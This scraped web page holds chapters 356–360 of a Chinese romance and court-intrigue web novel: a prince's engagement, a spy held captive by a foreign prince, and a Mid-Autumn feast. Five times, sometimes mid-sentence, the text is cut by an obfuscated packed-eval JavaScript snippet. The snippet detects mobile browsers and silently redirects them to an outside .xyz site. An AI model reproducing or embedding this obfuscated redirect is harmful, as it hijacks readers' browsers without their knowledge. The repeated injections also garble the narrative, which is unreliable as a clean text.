;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185754|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
然而此刻尉迟敦已经把谢翊宁当成了“仙人”,对他佩服得五体投地。
在谢翊宁的一顿忽悠下,尉迟敦彻底忘了先前找棠云婋的目的,又拿着竹蜻蜓飞快地跑回去和父亲母亲炫耀自己刚刚认识的新术法了。
“王爷,你这不是骗小孩儿么。”棠云婋终于忍不住,噗嗤一声笑了出来,眼波流转间带着几分揶揄。
“哪有!婋婋你这么说,本王的心可要碎了。”谢翊宁立刻浮夸地捂住心口,做出西子捧心状。
“我这分明是投其所好,给他解闷,逗他开心,是一片赤诚之心!”
棠云婋眼底笑意更浓,从善如流地哄道:“好好好,是我失言了,王爷一片苦心,最是体贴周到,行了么?”
“不行,光说好听话可不够。”谢翊宁忽然凑近了些,声音压低,带着点不满和撒娇的意味。
“咱们马上就要成为未婚夫起来,你以后不要再王爷、王爷的叫我了,听着生分。”
棠云婋微微一怔:“那要叫什么?”
王爷唤自己小名“婋婋”,她总不能也直呼他的小名“小石头”吧?
谢翊宁显然也想到了同一处,耳根微微发热,忙不迭地开口:“叫我翊宁就好。”
看着他期待的眼神。
棠云婋的脸莫名有些发热。
她小声道:“翊宁。”
他的名字从她唇齿间吐出,带着一种生涩又天然的亲昵。
谢翊宁只觉得心尖像是被一片极轻柔的羽毛搔了一下,漾开一片难以言喻的酥麻。
他从未觉得自己的名字能被唤得如此动听。
“嗯,说好了,以后私底下,莫要再叫我王爷。只能叫我翊宁。”
“好。”
*
接下来的几日,谢翊宁不停地往摘星山庄跑。
他对外宣称来找尉迟敦。
后来还带着尉迟敦往外溜达了好几圈。
烈国公夫妇一开始还惊讶永安王为何会对自家傻儿子另眼相待。
直到看到他和棠云婋对视时的模样,还有每回都要让棠云婋跟着尉迟敦一起出门,总算咂摸过味道来了。
原来王爷此举是醉翁之意不在酒啊!!!
第356章 有未婚妻了
烈国公夫人忧心忡忡地找到了方青鸾。
“阿鸾,不是我多嘴爱操心,永安王与婋婋的事,你们当真都想周全了?”
她话说到一半,有些迟疑,但终究还是忍不住。
“王爷自然是千好万好,万中无一的人物,可就是他那个传闻中的命格,实在让人心里头不踏实。这万一……”
她没敢再说下去,但担忧的眼神已经说明了一切。
方青鸾闻言却只是莞尔一笑,神色轻松,仿佛那令人闻之色变的命格之说不过是无足轻重的微风。
“嫂子放心。”她语气温和却笃定。
“我知道你在担忧什么。只是咱们做爹娘的,思前想后,终究觉得婋婋自个儿高兴最要紧。她既认定了,王爷待她也是真心实意,我们便没什么可不放心的。”
烈国公夫人仍是愁眉不展。
认定归认定,可婋婋马上要及笄了。
永安王若有心,总该给婋婋一个名分吧。
但人家亲爹亲娘都同意了,她一个干娘指手画脚地提这事好像又不太好。
烈国公夫人顿时有些为难。
方青鸾见她这副模样,笑着凑近了些,压低声音道:“上边透了风的,只待过了这阵子的风波,赐婚的旨意想必也就下了。”
烈国公夫人听到“赐婚”二字,先是猛地一怔,随即像是卸下了千斤重担,长长舒了一口气,露出了真切的笑容。
“原来竟是如此!你怎么不早说。害我白担心了这一场。”
帝后若是已经同意,那这事便是板上钉钉。
她还有什么好操心的。
看来除了及笄礼,她给婋婋的陪嫁也得快点准备起来了。
如今是八月,婋婋的及笄礼在月底,接下来要行六礼、备嫁妆、造嫁衣……
依着帝后宠爱永安王的那股劲头,这婚宴必定是极尽隆重,半点也马虎不得。
这般算来,各项流程走下来,再挑个春暖花开的好时节。
烈国公夫人眉眼都舒展开来,笑着喃喃道:“这下可好,有的忙了!我瞧着呀,这大婚的好日子,多半得定在明年花朝节前后。那时候天气和暖,百花盛开,最合适不过了。”
方青鸾听着烈国公夫人如数家珍般地念叨着“问名”、“纳彩”、“请期”等一系列繁琐流程,原本轻松的神色渐渐被一丝无措和紧张取代。
这些词汇对她而言,遥远又陌生。
当年她与棠风陵成婚时,一个是无依无靠的孤女猎户,一个是孑然一身的清贫秀才,婚事简单得不能再简单。
哪有京城这些风光却也冗杂的规矩。
可如今,她的婋婋是堂堂郡主,要嫁的更是天家贵胄,这婚宴的每一步都牵扯着皇家的颜面,万众瞩目,半点错漏都不能有。
她这个做亲娘的,自幼在山野长大,对这些高门大户的礼仪规矩知之甚少,到时候会不会手忙脚乱,让婋婋被人看了笑话?
想到这些,方青鸾顿时紧张了起来,忙握住了烈国公夫人的手。
“嫂子,这些我都不懂,你能不能教教我?”
烈国公夫人亲**挽住她的胳膊,温声道:“好妹妹,你且把心放宽肚子里。这些事儿啊,你一概不用操心,都有我呢!”
“再说了,府里这么多管事嬷嬷,都是经过事的老人了,断不会出半点差错。你啊,就安安稳稳地等着做风风光光的岳母大人,看着咱们婋婋体体面面地出嫁便是。”
烈国公夫人这话像是一颗定心丸,一瞬间就让方青鸾放下心来。
她眉眼舒展,诚心诚意地道谢:“多谢嫂子为我张罗操心。”
道谢之余,她暗自在心底发誓:一定要争气,绝不能给女儿丢人。
她要拼尽全力,尽快将这些贵人们的规矩礼仪学个透彻明白,一丝不错。
她要做婋婋将来能堂堂正正、毫不怯场地站在人前的阿娘。
绝不能让人在背后指指点点,讥笑永安王妃的娘亲是个不懂礼数、上不得台面的山野村妇。
*
眨眼就到了中秋节前夕。
停云紧赶慢赶,身上的伤将将养利索了,便一刻也待不住,风风火火地从玉禅寺赶回了永安王府。
他人还没进大门,欢快的声音就先蹿了进去:“王爷!我回来啦!”
然而,预想中的热闹并未出现。
王府里静悄悄的,虽张挂着应景的灯笼,却透着一股不同往年的冷清。
他四下张望,不仅没见到自家王爷的身影,连照夜的身影也没瞧见。
“奇了怪了,这节骨眼,王爷难不成提前入宫了?”停云挠挠头,满心疑惑。
“往年也没这么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185755|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
早啊……”
他嘀咕着找到老管家,开口便问:“傅叔,王爷呢?可是进宫了?”
傅叔见到他,十分惊喜。
“是停云啊,伤都好利索了?”
见他点头,傅叔这才回答道:“王爷没在宫里,去摘星山庄了。”
“摘星山庄?”停云一愣,下意识地询问,“王爷跑去县主那儿做什么?莫不是出什么事了?”
傅叔慢悠悠地纠正他:“哎,现在可不能叫县主了,是陛下亲封的令嘉郡主。”
“郡主?啊,也正常。”停云点了点头,没有太惊讶。
依照自家王爷对令嘉郡主的偏袒,令嘉县主救了他一命,这个功劳如果能换公主,肯定就不是郡主了。
一个郡主,意料之中。
知道了王爷和照夜的去处,停云便二话不说也赶去了摘星山庄。
庄子的下人连忙去通传:“王爷身边的停云侍卫求见。”
听到停云的名字,双鲤一蹦三尺高。
“停云大哥可算回来了!”
她兴高采烈地出门迎接他。
停云看到她,笑眯眯地伸手和她打招呼:“小阿鲤,好久不见啊!”
“停云大哥,你伤好了吗?”双鲤上下打量,看着完好无损的停云,这才松了一口气。
“好了好了,一点事没有。我福大命大,阎王爷都不收!”停云拍着胸脯,很是得意。
随即又伸长脖子四处张望。
“诶,照夜那小子呢?怎么没见他影子?不是说他也来了庄子么。”
双鲤自然而然道:“他去找衔蝉姐姐啦。”
“找衔蝉?”停云更摸不着头脑了,眉头拧成了疙瘩。
“他找衔蝉能有什么事?难不成王爷有什么新差事要让照夜找她。”
他心里顿时升起了一股浓重的危机感。
他两个月没陪在王爷身边,王爷不会觉得照夜比他更好用了吧?
不行,他才是王爷身边的第一贴身侍卫!
双鲤歪着脑袋,用一种“这有什么好奇怪”的眼神看向他。
“他们都已经定亲了呀。他去找自己的未婚妻说会儿体己话,不是很正常的事吗?”
停云:“???”
他只是养伤去了,又不是与世隔绝。
怎么才这么点时间不见,照夜连未婚妻了都有了???
第357章 别提从前了
震惊过后,便是忧伤。
他和照夜都是今年年初就及冠了。
如今照夜未婚妻都有了,而他还孑然一身。
这么一对照,怎么感觉他那么惨呢?
但转念一想,还有惊鸿和寒阙陪着他呢,顿时又安慰了不少。
满打满算,惊鸿和寒阙也离开大虞快一年了,也不知道他们如今在外过得如何了。
想到这,他迫不及待地去找永安王。
“王爷!”
看到谢翊宁身边的棠云婋和尉迟敦,他赶忙对两人行礼。
“见过郡主,见过世子。”
“不必多礼。”棠云婋冲他笑了笑,知道他们主仆二人许久未见,肯定有很多话要说,便领着尉迟敦先离开了。
谢翊宁将停云扯到面前,检查了一番,确认他真的没事了,这才露出了笑脸。
“可算舍得回来了?本王还以为你要在玉禅寺住到过年呢。”
“哪能啊,属下伤一好就迫不及待地赶回来了。”停云嘿嘿一笑。
他拍着胸脯道:“王爷,可有什么要吩咐属下去做的,只管吩咐!”
谢翊宁轻笑一声,语气里带着显而易见的愉悦:“暂时没什么大事,本王正忙着准备之后的婚事。”
停云一听这话,心里顿时咕嘟咕嘟冒起了酸泡泡。
照夜这小子竟然这般得王爷青睐?
连婚事都能让王爷替他亲自操持?
这得是多大的脸面!
他忍不住幽幽地开口:“王爷,那等日后我成婚,您也会像对照夜的婚事这般上心,亲自为我张罗么?”
谢翊宁闻言一怔,被他这没头没脑的问题问得有些莫名,顿了顿才开口。
“你若有了心上人,本王自然也会替你出面去提亲,绝不会亏待了你。至于后头那些采买筹备的琐碎事情,交给傅叔他们去忙便是了。”
他说着,略带奇怪地瞥了停云一眼,补充道:“本王方才说的是,是我自己的婚事。”
停云:“???”
他整个人仿佛被雷劈中一般,彻底僵住。
王爷自己的婚事?!
短短一个时辰内,他受到的冲击比养伤那两个月的总和还要多。
先是照夜定了亲,现在连王爷也要成婚了?
巨大的震惊过后,他忍不住带着一丝惊喜和忐忑追问道:“那,那未来的王妃可是令嘉郡主?”
谢翊宁点了点头,语气带着点理所当然。
“除了她,还能有谁。”
“那可太好了!”停云顿时眉开眼笑。
令嘉郡主好啊,令嘉郡主妙啊。
令嘉郡主那样文武双全的女子和他家王爷真是天造地设的一对!
谢翊宁见他这么高兴,不知道的还以为是他娶媳妇呢。
他挑眉看向停云:“你很高兴么?本王怎么记得,你从前一直说她不好?”
停云被自家王爷这话噎了一下,脸上兴奋的笑容瞬间僵住,随即浮现出几分讪讪和懊恼。
他不好意思地嘿嘿干笑了两声。
“王爷您就别提从前那些糊涂账了,是我当初有眼无珠,误会了郡主嘛。”
他急忙辩解,语气诚恳。
“属下那会儿是觉得她心眼太多,表里不一的,怕您被她纯善的外表给骗了……”
他说着说着,声音渐渐低了下去。
随即又猛地抬高,语气变得坚定。
“可后来属下瞧明白了。郡主那是对敌人的伪装,实则有勇有谋,文武双全!”
“莘县那回,要不是郡主神兵天降,属下这条小命说不定就交代在那儿了!”
他越说越激动,眼睛都亮了起来:“这样的女子,和王爷您再般配不过了。”
“属下是真心实意为王爷您高兴!王爷您放心,日后属下一定唯王妃之命是从,绝无二话!”
生怕谢翊宁不相信,他都举手发誓了。
谢翊宁这才满意地点点头:“这还差不多。从今往后,你只要记得,她的话等同于本王的话,整个永安王府,包括我,都听她一人的。”
“属下记住了!”停云重重点头。
等谢翊宁转身过去之后,立刻掏出了随身带着的小本本将这事记了下来——永安王府,王妃最大!
随后,他忍不住打听起了远在琉光的惊鸿和在西戎的寒阙。
“这都大半年了,他们如何了?”
“寒阙已经和萨尔司澜接头了,有他辅佐萨尔司澜,本王放心了不少。”
提起这事,谢翊宁松了一口气。
还好他提前派了人去西戎,不然就这样把萨尔司澜送回去,他还真不放心。
停云也忍不住跟着点头。
幸好去西戎的是寒阙。
谁吃亏,寒阙都吃不了亏。
有他在,就算萨尔司澜是个实心馅的包子,他也能给他重塑成芝麻馅的汤圆。
瞧着白净软和,内里全是心眼。
随后他忍不住又问:“惊鸿那边呢?可还顺利?有什么属下能帮忙的么?”
他闲了两个多月,现在只想大干一场。
谢翊宁:“不必。她上一次传信是两个月前,说已经混入琉光皇室了。想必,很快就能将消息带回来了。”
听到“两个月前”,停云下意识地皱紧眉头。
“那么久没新消息,不会出事了吧?”
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第358章 呸,狗男人
“一切正常。”谢翊宁语气平稳。
“惊鸿行事向来缜密,许是她正身处关键,不便传递消息。面馆的人回报,约定的暗号标记一直按时出现,这便是她平安的信号。”
停云依旧有些着急:“可是王爷,那可是两个月!整整两个月没有一点她的亲笔手书,谁知道那暗号是不是她亲自留的?”
“万一是别人仿造,故意迷惑我们呢?”
谢翊宁也知道会有这个可能,但他相信惊鸿。
面馆暗号按月变动,若惊鸿真出了事,她一定会想办法通过暗号来传递。
不可能接连两个月都对上了。
“若她真出了意外,绝不可能还有暗号留下。没有消息,有时就是最好的消息。咱们且耐心等着吧。”谢翊宁语气笃定。
他和惊鸿说过,最迟年底边境开战时,查不到消息也要撤回。
他相信再等一等,惊鸿就会回来了。
他的冷静感染了停云。
“王爷说得对!”停云重重点头,这两个月他呆在外边养伤,闲得太久了才会这般轻易地胡思乱想。
而此刻,被两人惦记着的惊鸿,正被关在琉光四皇子玉怀珂的府上。
她赤足歪在贵妃榻上,脚踝银铃随着她翻身的动作叮当响,链子另一头锁在雕花榻柱上。
惊鸿淡定自若地看着画册。
这小小脚铐哪里能困得住她。
他没把她关进地牢,只是把她锁在了这屋子里,一日三餐都没落下,看着像是不想杀她,她便不着急了。
她打算看看玉怀珂的葫芦里到底卖些什么药。
她把手上的画册看完之后,翻了个身,冲窗缝外的那道黑影轻笑一声。
“殿下夜夜杵在窗外当门神,是怕我撬锁跑了,还是怕自己梦游进来?”
玉怀珂阴沉着脸推开门走了进来。
惊鸿看到他手里提的油纸包,笑了起来。
这不是她之前曾夸赞过好吃的琥珀糖么。
“殿下对我可真好,难为您还记得我还吃这个。”她冲玉怀珂甜甜一笑。
“孤对你好有什么用,还不是养了个吃里扒外的东西。”玉怀珂冷冷嘲讽。
他将油纸包狠狠掷到了地上,琥珀糖从散开的纸包滚出来,停在了惊鸿的脚边。
惊鸿露出了一个惊讶又委屈的表情。
她上前一步,锁着她的链子哗哗作响。
她伸手扯了扯玉怀珂腰间挂着的玉佩穗子。
“殿下,这话您可就说岔了。当初是您让我去勾搭太子殿下的。如今又怪我吃里扒外,我可真是冤枉啊。”
她抬眼看向了玉怀珂,委屈又不忿。
“您让我传消息,我哪次没给您传。后来不过是太子盯得紧,里外都是人,我总不能明目张胆地给您递信吧?”
当然,那些消息也传回了大虞。
玉怀珂:“……”
惊鸿是他去年在雪地里捡到的孤女,那时的她浑身是伤,唯有一张脸清晰出尘,恰恰是他那太子兄长最偏爱的模样。
于是他带她回府,给她治伤,喂她服药,每一步都算计得清清楚楚。
所以当她说“愿报答公子恩情”时,他便命人将她送去了太子跟前。
他需要一个安插在太子身边的内应。
不曾想,她竟然这般厉害,短短一个月就勾得太子对她神魂颠倒。
那日宴会上,看着她窝在太子怀里冲太子笑时,他心底的无名火就烧了起来。
再加上她那边讯息全无,如同石沉大海。
他便按捺不住,索性以“叛主”为名,直接命人将她捉拿回来。
“既然这么忠心,那为何整整三十日不给本殿传信?”他冷冷地看着惊鸿。
“您当太子是好应付的?从前给您传消息,差点被发现了,我被罚了三天滴米未进,我都忍了。总不能叫他们发现是您指使的我留在太子身边的吧?”
惊鸿越说越委屈,眼泪浮上眼帘。
“这么说,反倒是本殿下的错了?”玉怀珂冷冷地盯着她。
“殿下怎么会有错呢。”惊鸿一脸诚恳。
“是我无用,没能让太子垂青于我。不然我消失了这么些日子,他也不会不管我了。”
说完她还幽幽地叹了一口气。
“你就这么盼着他来寻你?”玉怀珂的脸色陡然阴沉,手指猛地扣上她纤细的脖颈,力道大得几乎瞬间截断了她的呼吸。
惊鸿被
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185757|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他掐得气息骤乱,却既不挣扎也不否认,反而艰难地扬起唇角,清晰地吐出两个字。
“当然。”
这轻飘飘的两个字像火引,瞬间点燃了玉怀珂眼底的怒火。
他指节骤然收紧,几乎听见自己牙关咬紧的声响。
“你想背叛本殿?”
惊鸿喘着气,断断续续地开口:“他、他派人寻我,不就证明将我放在心上了么。”
“那样,我、我就能快点完成殿下交代的任务,早、早日回到殿下身边了。”
玉怀珂的手像被烫到般猛地松开。
惊鸿顿时跌坐在地,捂着脖子剧烈咳嗽。
他俯视着她狼狈的模样,胸腔剧烈起伏,最终只冷冷甩下一句:“……最好真是如此。”
说罢他转身便走,衣袂掠起一阵冷风。
直至他的身影彻底消失在廊角,惊鸿才缓缓从地上爬起来。
她伸手摸了摸发红的脖颈,盯着他离去的方向,扯出了一个冷漠的笑。
“呸,狗男人。”
方才那一瞬间,她险些压不住本能反手拧断他的手。
但任务还没完成,她只能继续和他虚与委蛇了。
想到任务,她不由有些烦躁。
好不容易借着玉怀珂的手进了太子府,眼看就要摸到王爷要的琉光矿脉图了,这狗东西又把她给劫了出来。
这下好了,她一个太子宠妾,走丢了好几日。
再回太子府,太子也不会相信她了。
不过今日看来,从前在玉怀珂身上耗费的心力总算没有白费,他似乎对她动了情。
她留在玉怀珂身边,说不定也还有机会拿到矿脉图。
就算拿不到,让他们兄弟二人反目成仇也是极好的。
总之,琉光内部自己乱起来,就没空去掺和大虞和北境的战事了。
就在她思索如何让太子知道她落在玉怀珂手上时,伺候她的小丫鬟回来了。
“姑娘,殿下让我给您送的药。”小丫鬟将上好的膏药递给了她。
惊鸿收下后点了点头:“多谢殿下赏。”
挺好,看来玉怀珂对她的喜欢,比她想象的还要多一些。
那她的任务想必能完成得更快了。
第359章 王爷长大了
大虞,中秋节当日。
谢翊宁没有入宫,也没有去摘星山庄,他去送了一个人。
“王、王爷?”看到他,邢天海猛地僵住,脸上满是错愕。
“您、您怎么……”
话尾哽在喉头,竟再说不下去。
流放之人按律不得送行,更何况今日还是中秋佳节。
谢翊宁抬手扔给他一个粗布包袱,什么话也没说。
包袱沉甸甸砸进怀里,露出几块硬面饼和油纸包着的酱肉。
邢天海手忙脚乱接住了,指尖触到包袱底下竟还有块碎银。
他的脑袋一片空白,佝偻着背就要给谢翊宁跪下。
“下官,不,草民……”
跪到一半,被谢翊宁用马鞭虚虚一拦。
“留着膝盖往边关走吧。”
“你是个能干的。”
“十年不长。等你回来,本王对你自有安排。”
邢天海没想到永安王竟如此看重于他。
他眼眶瞬间就红了。
自打他入狱后,就再也没有人来探望过他,甚至他还担心会不会有人加害于他。
这些时日提心吊胆的,整个人瘦了十几斤。
在这个时刻,忽然听到永安王这些话,即便有可能是假的,他也还是被打动了。
他枯瘦的手攥紧包袱,指节白得发青。
挣扎了许久之后,他还是松口说了一句话:“王爷,是……孟相爷。”
谢翊宁眉峰微动。
马鞭在掌心轻敲两下,身后停云立刻退到十步开外。
“继续说。”
邢天海声音压得极低:“我去青州,是相爷助我。那些银两,送到京城,也是给了相爷。他是我的老师。”
谢翊宁眯着眼眸打量着他,像是在思考他说的话是真是假。
相爷孟华淳今年已经七十了,平日里上朝大多时间都缩在紫檀木椅子里打瞌睡。
偶尔被点名问策,也是慢吞吞睁开眼,说几句“皇上圣明”、“老臣附议”之类的场面话,从来不对朝政大事多发表什么自己的言论。
父皇留他在那个位置上,是念着他乃两朝元老,故旧遍布朝野,动了他难免惹来非议,不如就当个吉祥物供着,全了朝廷体面。
况且这位孟相爷素来独来独往,既不结党,也不营私,门下仅有寥寥三五个老儒生相伴,终日不过是品茗弈棋、谈古论今。
若非必要,绝不出席任何宴饮场合,府中除了婚丧嫁娶,也从不设宴。
一家子都低调得很。
若非邢天海今日骤然提及,谢翊宁几乎要彻底忘却了这位相爷的存在。
他想不出来,邢天海是怎么和这位老相爷搭上关系的。
“有证据么?”谢翊宁开口。
邢天海苦涩地摇了摇头。
相爷给他传信,从不留痕迹,总是让人私底下传口信。
这些年送到京城的银子,也并非直接送到相爷府上,而是一个不起眼的小屋。
他把地址告诉了谢翊宁。
押解官差走到了谢翊宁面前,尴尬道:“王爷,真不能耽搁了。”
谢翊宁点点头,温和嘱咐道:“莫要为难他。”
邢天海几乎老泪纵横了。
押解官差讨好地点了点头。
邢天海郑重跪在地上,给谢翊宁磕了三个响头,方才跟着官差离开。
停云这才凑了过来,看着他们远去的背影,皱眉询问:“王爷,您当真还要用这家伙么?”
他听鸣珂说了,这个邢天海是有几分真才实干的,可王爷向来讨厌这种贪官污吏,怎么就对这家伙破了例?
还要等他十年?
这家伙,真的有那么能干么?
谢翊宁哂笑:“当然不会。没让他死,已经是本王对他网开一面了。”
他今日来,不过是赌一把罢了。
邢天海之前的官海生涯里很干净,为何一到青州就变成了贪官污吏。
这明显不对劲。
肯定有人在背后替他遮掩。
但他的调动又很正
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16194772|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
常,柳家的事情查到搏命窟之后也就结束了。
谢翊宁总觉得不放心。
于是在邢天海被流放出京这一日,他特意来见他。
就是想让邢天海背后的人看到,刺激那人,说不定之后在路上会把他灭口。
到时候来个人赃并获。
没想到却有了意外的收获。
“走吧,回宫。”谢翊宁心情大好,纵身一跃,飞身上马。
他还得把这事告诉父皇和太子哥哥呢。
之后的事,就交给他们去查了。
停云愣在了原地。
王爷好像从青州回来之后,好像变得不一样了呢。
若是当初的王爷,哪里会费尽心思整这一出。
他想知道什么,根本就不用搞这些迂回曲折的套路,一声命令下去,自会有人替他筹谋。
他忽然生出一种王爷终于长大了啊的感觉。
*
谢翊宁回了宫里陪父皇母后过中秋。
今年中秋因为康乐公主的死和睿王入狱,崔皇后直接下了谕旨,中秋只在宫中简单祭月,一应庆贺从简。
没有歌舞丝竹,没有冗长的贺词,甚至连宴席的菜式都减了又减,只保留了些许应景的点心与清淡菜肴。
苏昭仪盯着宴席上的菜肴,一阵烦躁。
自打皇后寿宴被罚过后,皇上已经许久没有去过她那儿了。
这些时日,她私下里不知摩挲了多少回那匹预备做新舞衣的云锦料子,连跳什么舞、配什么乐都想了好几套。
就等着中秋宴会上大出风头,重新引起皇上的注意力。
若能争取一次临幸,怀上龙子,那空出来的两个妃位,或许就能有她的一席之地了。
谁曾想,皇后娘娘竟然让一切从简,直接打碎了她的念头。
她气得牙痒痒。
“儿臣参见父皇,参见母后。”
永安王的声音打断了她的思绪。
苏昭仪的目光落在了谢翊宁身上,她忽然有了一个新的想法。
第360章 他的好大儿
皇上这般宠爱永安王,她何必把心思一股脑放在皇上身上。
倒不如试试走永安王这条道。
永安王如今尚未娶妻,她娘家侄女年初及笄了,还未定亲,或许可以让她试一试。
虽然她的父亲不过是四品官员,但永安王那活不过二十的命格,想必那些勋贵之家也不会舍得让嫡女去给他为妃。
就算侄女够不着永安王正妃,做个永安王侧妃也是极好的。
皇后一定比谁都希望永安王早日开枝散叶,就算是侧妃,抢先诞下了永安王的骨肉,还怕没有前程吗。
等侄女得了前程,想必皇上也会对她好一些。
苏昭仪当即决定,明日给娘家人传信,让他们想办法促成此事。
谢翊宁还不知道宴会上已经有人惦记上了他的王妃之位,他落座后,没给旁人半个眼神。
他坐在太子身侧,陪同父皇母后一块吃团圆饭。
只是这饭吃得毫无滋味,他有些想念摘星山庄了。
因为中秋定要入宫陪父皇母后吃饭,再加上他和婋婋的婚事尚未公开,大过节的他也不能再打着陪尉迟敦的名义去摘星山庄蹭饭了。
所以昨日他便已经提前在摘星山庄和他们一起提前庆贺,就当一块过中秋。
摘星山庄的氛围与宫里截然不同。
有尉迟敦在,压根严肃不起来。
他一会儿要钓鱼,一会儿要去附近的山上打猎。
昨日他们在摘星山庄吃的就是尉迟敦和棠云麒一块捞回来的鱼,还有尉迟敦和方青鸾上山打的鹿。
棠家人各个都宠着尉迟敦,因而他在棠家过得十分快活。
烈国公夫妇都发愁中秋结束,他不愿意回国公府该如何是好。
他们总不能一直住在摘星山庄打扰棠家人吧。
得知烈国公夫妇的担忧,棠云婋爽朗一笑,提出了解决办法。
“无妨,爹爹和大哥二哥后日就要去国子监了,明日就让他们提前陪着哥哥回京,先去国公府。”
烈国公夫妇对视一眼。
这主意好。
如今有了棠家人的陪伴,儿子已经不再执着于要找妹妹了。
棠家人随便分一个跟他待在一起,他就很开心。
明日棠家人陪着他们一块回国公府。
等到了国公府,儿子再闹也没用了。
“真是麻烦你们了。”烈国公夫人感激地看着棠云婋。
“干娘,一家人不说两家话,不必客气。日后呀,我爹爹他们还得多多劳烦您和干爹照看一二呢。”棠云婋握住了她的手。
摘星山庄在城外,国子监在城内,若是有什么事,一时半会都来不及传消息出城。
虽然皇上赏了爹爹一套宅子,但她暂时没有搬过去的打算。
一来是好不容易才把山庄按照她的想法改造好,突然搬走,她舍不得。
二来是在这比在京城更自由。
那些京城里高门大院,等她嫁给了永安王,迟早会住到厌倦。
要珍惜现在的时光。
三来爹爹和两位兄长,大部分时间都呆在国子监,她和阿娘两个人,没必要特意跑到城里去。
国子监有旬假,每十日休息一天,到时候再去城里见面也来得及。
烈国公夫人嗔怪地看了她一眼:“你看看,你才说一家人不说两家话,怎么让我照看你父亲兄长,就这么客套了。”
“就是就是。”烈国公也跟着点头。
棠云婋这才不好意思地笑道:“那日后我就不和你们客气了。”
“这就对咯。”烈国公夫妇异口同声点头。
这时,尉迟敦跑了过来,催促道:“爹,娘,妹妹,开宴了!”
“来了。”三人同时起身。
下人早早就把今日中秋的宴席给做好了。
方青鸾正盯着下人们上菜。
这是她头一回自己从头到尾操持的宴席。
从拟定菜单、采买物料,到安排人手、布置厅堂,事无巨细,她都一一过目。
连插瓶的桂花是选金桂还是丹桂,她都纠结了老半天。
没办法,烈国公夫人说京城里那些贵夫人们吃什么饭,穿什么颜色的衣裳,花瓶里插什么样的花,都有讲究。
她要想和别人有话可聊,这些东西她都得学。
万万没想到,她都这把年纪了,还得跟个小孩似的从头开始学各种各样的东西。
她和夫君诉苦,夫君说他也在学,总不能去了国子监,被一群孩子给比下去吧。这些日子,可谓日日苦读,经常她睡了,夫君还在看书。
一时间她竟不知道谁比谁更惨了。
她如今是郡主的母亲,等婋婋嫁人之后,她更是棠家的当家主母,少不得要操持各种宴席,正好拿这一次中秋节的家宴练练手了。
今夜宴席的正中间摆着一个硕大的瓷盘,里头堆着刚蒸好的大螃蟹,橙红色的壳子油亮亮的,冒着热气。
旁边配着一小碟姜醋,酸味儿混
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16194773|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着蟹的鲜香让人垂涎欲滴。
还有昨日她猎回来的鹿,腌制了一半留到了今夜,如今烤得外皮焦黄酥脆,放在了长盘上,香气四溢。
应景的点心她也命人准备了。
王爷送来的厨娘十分心灵手巧。
她把蒸煮过的山药捣成了泥,捏成了白白胖胖的兔子蹲在盘子里,再用赤小豆做成眼睛点缀,最后撒上一层雪白的糖霜,憨态可掬。
方青鸾看了一眼就敲定中秋家宴上必须有这道甜点。
这不,还没上桌前,尉迟敦瞧见了就吃了好几个。
满满一桌子,放了各式各样的糕点菜肴。
这是他们全家团聚的第一个中秋,还有烈国公夫妇来做客,是绝对不能马虎的。
除了尉迟敦面前,每人的杯子里都倒上了桂花酒。
